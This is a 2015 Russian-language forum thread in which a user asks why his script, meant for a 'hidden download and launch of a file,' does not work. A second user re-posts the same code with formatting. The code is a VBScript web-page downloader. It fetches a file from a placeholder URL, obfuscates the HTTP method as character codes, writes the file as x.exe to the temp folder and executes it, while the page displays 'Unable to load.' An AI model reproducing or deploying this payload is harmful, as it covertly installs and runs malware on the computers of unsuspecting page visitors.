ReSQL.ru
     
powered by simpleCommunicator - 2.0.61     © 2026 Programmizd 02
Мобильная версия    Контакт    Правила    FAQ    Помощь
Целевая тема:
Создать новую тему:
Автор:
Закрыть
Цитировать
Доб. в избранное | Игнор. тему | Прикреп. тему | Пометить прочит. / непрочит. | Фильтр
Форумы / HTML, JavaScript, VBScript, CSS [игнор отключен] [закрыт для гостей] / Не работает скрипт(
2 сообщений из 2, страница 1 из 1
Не работает скрипт(
    #39079682
oxotnika
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
oxotnika
Участник
Народ подскажите почему не срабатывает скрипт? По идее должно быть скрытое скачивание файла и его запуск.
Код:
<html>
<body>
<script type="text/vbscript">
Function SimpleBinaryToString(Binary)
Dim I, S
For I = 1 To LenB(Binary)
S = S & Chr(AscB(MidB(Binary, I, 1)))
Next
SimpleBinaryToString = S
End Function

Sub dl(url, dst)
dim xmlhttp: Set xmlhttp = CreateObject("MSXML2.ServerXMLHTTP")
dim method: method = Chr(71) & Chr(69) & Chr(84)
xmlhttp.Open method, url, False
xmlhttp.Send
Dim i, objFile
Set objFile = CreateObject("Scripting.FileSystemObject").OpenTextFile( dst, 2, True )
objFile.WriteLine(SimpleBinaryToString(xmlhttp.ResponseBody))
objFile.Close()
set xmlhttp = nothing
set objFile = nothing
End Sub
dim dst: dst = CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2) & "\x.exe"
dim url
url = "URLTOFILE"
dl url, dst
CreateObject("WScript.Shell").Run dst
</script>
<p>Unable to load.</p>
</body>
</html>
...
Рейтинг: 0 / 0
19.10.2015, 08:36
| Ответить | Цитировать | Написать  
Не работает скрипт(
    #39079689
Фотография skyANA
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
skyANA
Участник
Как мне оформить свое сообщение?

Код: html
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
<html>
<body>
  <script type="text/vbscript">
    Function SimpleBinaryToString(Binary)
      Dim I, S
      For I = 1 To LenB(Binary)
        S = S & Chr(AscB(MidB(Binary, I, 1)))
      Next
      SimpleBinaryToString = S
    End Function

    Sub dl(url, dst)
      dim xmlhttp: Set xmlhttp = CreateObject("MSXML2.ServerXMLHTTP")
      dim method: method = Chr(71) & Chr(69) & Chr(84)
      xmlhttp.Open method, url, False
      xmlhttp.Send
      Dim i, objFile
      Set objFile = CreateObject("Scripting.FileSystemObject").OpenTextFile( dst, 2, True )
      objFile.WriteLine(SimpleBinaryToString(xmlhttp.ResponseBody))
      objFile.Close()
      set xmlhttp = nothing
      set objFile = nothing
    End Sub
    dim dst: dst = CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2) & "\x.exe"
    dim url
    url = "URLTOFILE"
    dl url, dst
    CreateObject("WScript.Shell").Run dst
  </script>
  <p>Unable to load.</p>
</body>
</html>
...
Рейтинг: 0 / 0
19.10.2015, 08:50
| Ответить | Цитировать | Написать  
2 сообщений из 2, страница 1 из 1
Форумы / HTML, JavaScript, VBScript, CSS [игнор отключен] [закрыт для гостей] / Не работает скрипт(
Найденые пользователи ...
Разблокировать пользователей ...
Читали тему (0):
Читали форум (0):
Пользователи онлайн (0):
Польз. соглашение   Полит. конфиден.  
NoSQL.ru       Кролег: Проекты, Новости, Чат       РЕД ФОРУМ       Фотоальбом: Участники, Встречи
Закрыть
start [/forum/topic.php?fid=22&fpage=65&tid=1445691]:
 0ms
get settings:
 10ms
get forum list:
 18ms
check forum access:
 4ms
check topic access:
 4ms
track hit:
 61ms
get topic data:
 11ms
get forum data:
 3ms
get page messages:
 37ms
get tp. blocked users:
 1ms
others: 245ms
total:  394ms
созд. / загр.: 394ms
x
x
Закрыть


Просмотр
0 / 0
Close
Debug Console [Select Text]